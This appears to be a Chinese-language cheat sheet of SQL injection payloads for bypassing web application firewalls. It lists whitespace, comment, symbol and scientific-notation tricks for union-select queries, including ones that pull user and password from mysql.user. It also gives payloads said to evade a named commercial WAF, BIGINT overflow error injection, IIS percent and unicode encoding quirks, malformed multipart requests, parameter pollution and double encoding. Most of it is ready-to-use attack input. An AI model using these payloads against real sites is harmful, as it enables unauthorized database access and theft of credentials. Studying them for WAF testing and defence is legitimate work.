BypassWaf_sql
①注释
1 | `#` |
科学计数法
1 | `select id,id_number,weibo from table where id=0e1union select user,password,1e1from mysql.user` |
空白字符:
SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,2
+号
1 | `select * from users where user_id=1e8union(select+1,(select schema_name from information_schema.schemata limit 1));` |
-号
select * from users where user_id=1e8union(select-1,(select schema_name from information_schema.schemata limit 1));
`号
select * from users where user_id=1e8union(select 1,(select
schema_name from information_schema.schemata limit 1));
~号
select * from users where user_id=1e8union(select~1,(select schema_name from information_schema.schemata limit 1));
!号
select * from users where user_id=1e8union(select!1,(select schema_name from information_schema.schemata limit 1));
@`形式
select * from users where user_id=1e8union(select@
1,(select schema_name from information_schema.schemata limit 1));
点号.1
1 | `select username from users where id=.1union/*.1*/select password from users;` |
单引号双引号
select username from users where id=.1union/*.1*/select"1",password from users;
括号select(1)
select * from users where user_id=1e8union(select 1,(select(schema_name)from information_schema.schemata limit 1));
Fuzzing
云盾
1 | union+select 拦截 |
Bypass Payload:
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
可运用的sql函数&关键字:
1 | MySQL: |
Mysql BIGINT数据类型构造溢出型报错注入
BIGINT最大值进行增值运算的时候,signed/unsigned都会爆出BIGINT value is out of range的错误,也就是溢出了。还有就是Mysql逐位取反的特性,打个比方:
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)
mysql> select ~18446744073709551615;
+———————–+
| ~18446744073709551615 |
+———————–+
| 0 |
+———————–+
1 row in set (0.00 sec)
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 - ~(0))’
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 + ~(0))’
容器特性
%特性:
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而 没特殊要求的waf当然是不会的:
id =1’ union sel%ect user f%rom ddd
%u特性:
iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但 waf就不一定了:
id =1’ union sel%ect user f%rom ddd
\u0069\u0064\u0020\u003D\u0031\u0027\u0020\u0075\u006E\u0069\u006F\u006E\u0020\u0073\u0065\u006C\u0025\u0065\u0063\u0074\u0020\u0075\u0073\u0065\u0072\u0020\u0066\u0025\u0072\u006F\u006D\u0020\u0064\u0064\u0064
%u0069%u0064%u0020%u003D%u0031%u0027%u0020%u0075%u006E%u0069%u006F%u006E%u0020%u0073%u0065%u006C%u0025%u0065%u0063%u0074%u0020%u0075%u0073%u0065%u0072%u0020%u0066%u0025%u0072%u006F%u006D%u0020%u0064%u0064%u0064
这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。
s%u0065lect->select
s%u00f0lect->select
WAF对%u0065会识别出这是e,组合成了select关键字,但有可能识别不出%u00f0
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
畸形协议&请求
asp/asp.net
还有asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交 方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/xwww-form-urlencoded提交数据方式进行过滤,就会导致任意注入。
php+Apache:
waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没 有那么严格,当我们将协议随便定义时也是可以的:
PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解 析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先 填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。
1 | ------,xxxx |
通用的特性
HPP:
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。
假设提交的参数即为:
id=1&id=2&id=3
1 | `Asp.net + iis:id=1,2,3` |
双重编码:
这个要视场景而定,如果确定一个带有waf的site存在解码后注入的漏洞的话,会有效避过waf。